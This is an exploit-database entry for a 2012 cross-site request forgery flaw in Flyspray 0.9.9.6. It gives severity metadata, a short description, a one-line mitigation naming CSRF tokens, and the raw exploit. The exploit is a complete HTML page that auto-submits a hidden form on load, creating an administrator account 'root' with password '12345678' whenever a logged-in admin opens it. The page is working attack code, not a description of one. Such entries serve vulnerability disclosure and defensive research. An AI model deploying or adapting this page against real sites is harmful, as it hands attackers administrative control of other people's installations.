Flyspray 0.9.9.6 CSRF Vulnerability

vendor:

Flyspray

by:

Vaibhav Gupta

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Flyspray

Affected Version From: 0.9.9.6

Affected Version To: 0.9.9.6

Patch Exists: NO

Related CWE: N/A

CPE: a:flyspray:flyspray:0.9.9.6

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Flyspray 0.9.9.6 CSRF Vulnerability

This exploit allows an attacker to add an admin account to the Flyspray 0.9.9.6 application. The exploit is done by creating a malicious HTML page that contains a form with hidden fields. When the page is loaded, the form is automatically submitted, creating a new admin account with the username 'root' and the password '12345678'.

Mitigation:

Implementing a CSRF token in the application can help prevent this type of attack.

Source

Exploit-DB raw data:

#Exploit Title: Flyspray 0.9.9.6 CSRF Vulnerability
#Date: 06 Feb 2012
#Author: Vaibhav Gupta
#Software Link: http://flyspray.org/flyspray-0.9.9.6.zip
#Version: 0.9.9.6
+---+[CSRF Add Admin Account after authentication]+---+
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add ADMIN account</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80/flyspray-0.9.9.6/index.php?do=admin&area=newuser">
<input type="hidden" name="action" value="admin.newuser"/>
<input type="hidden" name="do" value="admin"/>
<input type="hidden" name="area" value="newuser"/>
<input type="hidden" name="user_name" value="root"/>
<input type="hidden" name="user_pass" value="12345678"/>
<input type="hidden" name="user_pass2" value="12345678"/>
<input type="hidden" name="real_name" value="root"/>
<input type="hidden" name="email_address" value="root@root.com"/>
<input type="hidden" name="jabber_id" value=""/>
<input type="hidden" name="notify_type" value="0"/>
<input type="hidden" name="time_zone" value="0"/>
<input type="hidden" name="group_in" value="1"/>
</form>
</body>
</html>